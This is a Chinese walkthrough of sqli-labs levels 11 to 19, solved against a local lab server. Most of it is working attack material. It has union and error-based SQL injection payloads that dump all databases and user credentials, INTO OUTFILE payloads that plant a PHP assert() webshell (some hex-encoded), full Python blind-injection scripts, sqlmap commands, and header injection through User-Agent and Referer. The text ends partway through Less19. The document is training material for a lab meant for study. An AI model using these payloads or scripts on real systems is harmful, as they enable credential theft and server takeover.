sqli-labs通关(less11~less20)

目录

Less11

Less12

Less13

Less14

Less15

Less16

Less17

Less18

Less19

Less20


Less1-Less10的时候爆的是当前数据库,root用户的强大力量没有显示出来,本文的10关打算跨库爆数据。

Less11

本关可以union注入也可以报错注入,但还是union注入方便点,这里我就用union注入了。

另外,根据代码,注入点可以是uname也可以是passwd,本文以uname为例。

假设我不知道存在的用户名,于是我post data输入:uname=ele'&passwd=pass&submit=Submit,结果报错了,根据报错信息可以判断闭合符号是单引号。

post data输入:uname=ele' order by 2#&passwd=pass&submit=Submit,没有报错

 post data输入:uname=ele' order by 3#&passwd=pass&submit=Submit,报错了,从而知道查询结果是两列

然后把服务器上数据库全都爆出来:uname=ele' union select group_concat(schema_name),2 from information_schema.schemata#&passwd=pass&submit=Submit

 然后来爆一下pikachu数据库的所有表名:uname=ele' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'#&passwd=pass&submit=Submit

然后来爆一下pikachu数据库users表的所有列名: uname=ele' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'#&passwd=pass&submit=Submit

 最后来爆一下pikachu数据库users表username和password列的内容:

uname=ele' union select group_concat(username),group_concat(password) from pikachu.users#&passwd=pass&submit=Submit

(特别注意跨库注入的时候,表名前面要加库名)

 写个webshell:uname=ele' union select 1,'<?php assert($_POST[less11]);?>' into outfile 'C:/less11.php'#&passwd=pass&submit=Submit

写入服务器的webshell:

题外话:

这关如果本身知道存在的用户名,那直接就能知道该用户的密码,也是另一个危害。比如,post data输入:uname=admin'#&passwd=pass&submit=Submit

 顺便吐槽下这关的配色……对眼睛伤害好大

本关核心代码:

post方法接收参数,不处理,直接把参数扔到sql查询语句中,如果查询结果,页面回显查询结果,如果没有查询结果,页面显示mysql报错信息。到处爆雷……

Less12

这关除了 闭合不是单引号了,改")了,其他没啥区别。。

(如果闭合包含单引号,则uname=ele'#报sql语法错误,uname=ele"#不报;

如果闭合包含双引号,则uname=ele'#不报sql语法错误,uname=ele"#报)

简单写一下payload得了:

爆库:
uname=ele") union select group_concat(schema_name),2 from information_schema.schemata#&passwd=pass&submit=Submit
爆表:
uname=ele") union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'#&passwd=pass&submit=Submit
爆列:
uname=ele") union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'#&passwd=pass&submit=Submit
爆内容:
uname=ele") union select group_concat(username),group_concat(password) from pikachu.users#&passwd=pass&submit=Submit
写webshell:
uname=ele") union select 1,'<?php assert($_POST[less12]);?>' into outfile 'C:/less12.php'#&passwd=pass&submit=Submit

写入服务器的一句话木马:

本关代码和Less11比,就关于闭合的这段不一样

Less13

post data输入uname=ele'&passwd=pass&submit=Submit,从返回结果(sql语法问题)可见本关的闭合是')

post data分别输入uname=ele') order by 2#&passwd=pass&submit=Submit和uname=ele') order by 3#&passwd=pass&submit=Submit,可知查询结果有两列

post data输入uname=ele') union select 1,2#&passwd=pass&submit=Submit,发现这关的sql查询结果并不显示,看来这关要用报错注入了

post data输入uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit,可以得到服务器上所有数据库名称的前31个字符

 后面的就不一一截图了,跨库爆数据的所有payload如下:

#获取服务器上所有数据库的名称
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库的所有表名称
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的所有列名称
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的username和password列的所有值
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1)#&passwd=pass&submit=Submit

写webshell的payload:

uname=ele') or 1=1 limit 0,1 into outfile 'C:/less13.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c65737331335d293b3f3e#&passwd=pass&submit=Submit

服务器上的webshell:

要特别注意

用into outfile   lines terminated by来写webshell,一定要into outfile前面有查询结果

由于我们假设不知道用户名,所以这里要加上or 1=1才能有查询结果,而加limit 0,1是限制前面查询结果只有一行,否则写入的文件中会包含SELECT username, password FROM users的所有查询结果,并且每个查询结果后面都跟着<?php assert($_POST[less13]);?>

本关代码除了闭合,和上一关的区别只有不回显sql查询结果

Less14

post data输入uname=ele"&passwd=pass&submit=Submit

这关回显sql语法错误,并且闭合是"

和上一关一样,这关如果sql查询有值也不显示,所以还是用报错注入,图就不截了,和上一关差不多,跨库爆数据的所有payload如下:

#获取服务器上所有数据库的名称
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库的所有表名称
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的所有列名称
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1)#&passwd=pass&submit=Submit
#获取pikachu数据库users表的username和password列的所有值
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1)#&passwd=pass&submit=Submit
uname=ele" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1)#&passwd=pass&submit=Submit

 写webshell的payload:

uname=ele" or 1=1 limit 0,1 into outfile 'C:/less14.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331345D293B3F3E#&passwd=pass&submit=Submit

 服务器上被写入的webshell:

本关代码与上一关的区别也仅在于闭合不同了,无聊。。。不过可以学习到php中怎样可以做到双引号内嵌套双引号

Less15

这关参数中不管有单引号还是有双引号都不会有sql语法错误信息了,只能盲注了。

盲注需要sql语句查询结果正确或错误的情况下客户端表现不同。和前10关不一样,前10关知道id=1是正确的,id=-1一定是错误的,而Less11-Less20需要输入用户名和密码,且我们默认不知道用户名或者密码,这时就要借助or 1=1了

post data输入uname=ele&passwd=pass&submit=Submit或者uname=ele" or 1=1#&passwd=pass&submit=Submit,页面都返回登录失败

post data输入uname=ele' or 1=1#&passwd=pass&submit=Submit,登录成功,所以闭合是单引号,并且可以用布尔盲注

在登录失败和登录成功的情况下分别查看网页源代码,可以发现图片名称不同

登录失败是:../images/slap.jpg

 登录成功是:../images/flag.jpg

 所以脚本中可以以响应报文中是否包含字符串flag.jpg来判断sql查询结果是否正确

爆数据的python脚本如下:

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(GET)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-15/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'flag.jpg'                                        #用于判断附加sql语句为真的字符,根据网页回显填写

def Databases15():
    n = 100                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "uname":payload1,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "ele' or (length((select group_concat(schema_name) from information_schema.schemata)))="+str(i)+"-- ss"
                param = {
                "uname":payload2,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "ele' or substring((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload3,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of databases are "+str(db))
    
def Tables15(database):
    n = 200                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))>"+str(j)+"-- ss"
            param = {
            "uname":payload4,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "ele' or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))="+str(i)+"-- ss"
                param = {
                "uname":payload5,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "ele' or substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload6,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in "+database+" is "+str(tname))


def Columns15(database,table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))>"+str(j)+"-- ss"
            param = {
            "uname":payload7,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "ele' or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))="+str(i)+"-- ss"
                param = {
                "uname":payload8,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "ele' or substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload9,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in database "+database+" table "+table+" is "+str(cname))

def Content15(database,table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 500                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))>"+str(j)+"-- ss"
            param = {
            "uname":payload10,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "ele' or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))="+str(i)+"-- ss"
                param = {
                "uname":payload11,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "ele' or substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload12,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

 代码测试结果:

写webshell的payload:

uname=ele' or 1=1 limit 0,1 into outfile 'C:/less15.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit

服务器上被写入的webshell:

 本关代码中sql查询结果和sql语法错误的回显都被注释掉了,但是查询结果正确和错误(包括没有查询结果和sql语法有问题)回显的图片名称不同

Less16

这关和Less15没多大差别,就闭合不一样,本关闭合是")。闭合可以自己攒个字典爆破。

post data输入uname=ele") or 1=1#&passwd=pass&submit=Submit,登录成功

本关爆数据的python代码如下

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(GET)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/sqli-labs-master/Less-16/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'flag.jpg'                                        #用于判断附加sql语句为真的字符,根据网页回显填写
ele = 'ele")'

def Databases16():
    n = 100                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "uname":payload1,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))="+str(i)+"-- ss"
                param = {
                "uname":payload2,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = ele+" or substring((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload3,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of databases are "+str(db))
    
def Tables16(database):
    n = 200                                                                     #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = ele+" or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))>"+str(j)+"-- ss"
            param = {
            "uname":payload4,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = ele+" or (length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"')))="+str(i)+"-- ss"
                param = {
                "uname":payload5,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = ele+" or substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload6,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in "+database+" is "+str(tname))


def Columns16(database,table):                                                          #table参数是需要爆破的数据表名称,记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = ele+" or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))>"+str(j)+"-- ss"
            param = {
            "uname":payload7,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = ele+" or (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"')))="+str(i)+"-- ss"
                param = {
                "uname":payload8,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = ele+" or substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload9,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in database "+database+" table "+table+" is "+str(cname))

def Content16(database,table,col1,col2):                                                #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
    n = 500                                                                     #预测期望获取的数据的最大可能的长度,根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = ele+" or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))>"+str(j)+"-- ss"
            param = {
            "uname":payload10,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = ele+" or (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+")))="+str(i)+"-- ss"
                param = {
                "uname":payload11,
                "passwd":"pass",
                "submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = ele+" or substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "uname":payload12,
            "passwd":"pass",
            "submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

代码测试结果

 写webshell的payload:

uname=ele") or 1=1 limit 0,1 into outfile 'C:/less16.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331365D293B3F3E#&passwd=pass&submit=Submit

写入服务器的webshell:

 本关代码没啥好说的,和上一关就闭合不同

Less17

这关长下图这样,推测相关的sql语句类似:

UPDATE 表名称 SET password = $pass WHERE username = $uname 

来试试输入有语法问题的时候网页会不会报错。

试了之后发现,user name框框不管包含单引号还是双引号,都是不会报错的;

new password框框分情况:如果user name框框中输入的是系统中不存在的用户名,则new password框框中不管包含单引号还是双引号,都是不会报错的;但如果user name框框中输入的是系统中存在的用户名,则new password框框中包含单引号会报错。

这说明后端对用户输入的用户名字段有进行防护和验证,而密码字段可能没有。

post data输入:uname=admin&passwd=pass'&submit=Submit

根据报错信息可知闭合是单引号

 接下来就可以用报错注入的方法爆出数据了,下面的payload是跨库爆数据的:

#获取服务器上所有数据库的名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)#&submit=Submit
#获取pikachu数据库的所有表名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)#&submit=Submit
#获取pikachu数据库users表的所有列名称
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1)#&submit=Submit
#获取pikachu数据库users表的username和password列的所有值
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1)#&submit=Submit
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1)#&submit=Submit

爆数据的过程中发现,这边也遇到了pikachu SQL注入 (皮卡丘漏洞平台通关系列)_箭雨镜屋-CSDN博客 的update注入关卡相同的问题,payload中passwd的正常值部分(第一个单引号前面)不能包含英文字符,如果包含就会报下图的错误,但如果是数字就没关系。

看来在搞清楚原因之前只能记着注入点闭合符号之前的字符如果要求不严格,优先用数字;或者当闭合符号之前包含英文字符不好使,再试试数字。

写webshell的话,这关试了into outfile配合lines terminated by,不好使,总报语法错误。。暂时不知道怎么办。

之前好像没试过update语句用sqlmap来注入,所以这次试了一下,先用burpsuite抓包,右键copy to file保存为 E:\渗透测试学习资料\sqlilab\less17.txt

然后cmd串口用如下命令进行爆破数据

python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --dbs
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --tables -D pikachu
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --columns -D pikachu -T users
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\less17.txt" --dump -D pikachu -T users -C username,password

 sqlmap写webshell用的也是into outfile配合lines terminated by,这关试了sqlmap也没法写webshell。

本关代码相比之前的关卡还是改动蛮大的:

用户输入uname和passwd传到服务器之后,服务器端代码先对uname进行处理,然后查询users表中username为uname的记录的username和password值,后续update语句中的修改的记录用这个查询到的username值定位。

而处理uname的函数如下,44行对uname长度进行了限制,54行ctype_digit()函数检测uname是否纯粹由数字构成,如果不是的话,56行中用mysql_real_escape_string()函数对其进行处理,对uname中包含的特殊字符进行转义。

Less18

这关一进来就是这样,页面显示客户端的ip地址。如果用户的ip地址被写入数据库,就会涉及insert语句,有可能有注入风险。

可是burpsuite抓到的报文并不包含客户端ip地址相关的请求头

 折腾了一会儿,加了X-Forwarded-For头也不行,于是我去看代码了。。天。。居然注入点在User-Agent头,这个头也没回显,我怎么能知道它的值会被保存到数据库呢。。。

后来又仔细看了下代码,发现。。。username或password输入错误的值都不会回显User-Agent的值,但是如果username和password的值正确,就会像下图这样显示User-Agent的值啦。

那这关应该和pikachu的sql注入大类的http头注入关卡差不多,图不多截了,就用获取当前数据库名称为例:HTTP请求中User-Agent: 1'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '   ,得到下图右侧的报错信息,暴露了当前数据库名称为security(这关一定要注意,请求正文中的uname和passwd的值一定要是数据库中存在的用户名和对应的密码,因为这关代码会先判断数据库中是否有该用户名和密码的用户,如果有才会将User-Agent和客户端ip信息写入数据库)

 这关爆数据的payload如下:

(非常讨厌的是,这关跨库爆数据的所有步骤中,和pikachu SQL注入 (皮卡丘漏洞平台通关系列)_箭雨镜屋-CSDN博客  的http头注入 关卡中描述的一样,User-Agent头的正常值部分,也就是闭合之前的部分,需要是空,为字母也不行,为数字也不行,并且更糟糕的是不会报错,如果没有经验就要自己碰运气了)

#获取服务器上所有数据库的名称
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or '
#获取pikachu数据库的所有表名称
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or '
#获取pikachu数据库users表的所有列名称
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) or '
#获取pikachu数据库users表的username和password列的所有值
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1) or '
User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1) or '

这关代码主要注意以下几点:

1、回显在页面的客户端ip和User-Agent信息是如何获取的。从66和67行可以看出,User-Agent信息是从HTTP头获取的,而ip不是。

2、76和77行可以看出,本关对用户输入的uname和passwd参数都进行了检查和处理,使用的函数和上一关基本相同

3、下面第二张图可以看出,只有当数据库中有用户输入的uname和passwd对应的参数时,客户端ip和User-Agent信息才会被写入数据库,并在网页上显示User-Agent信息。

Less19

这关和上一关没啥区别,经过上一关之后,我明白套路了。这关同样也是用户名和密码都正确的情况下,才会显示Referer相关的信息

 burpsuite抓包之后,send to repeater,然后修改Referer头的内容并发送就可以完成sql注入

 具体爆数据的过程就不截图了,还是用报错注入,payload如下:

#获取服务器上所有数据库的名称
Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '
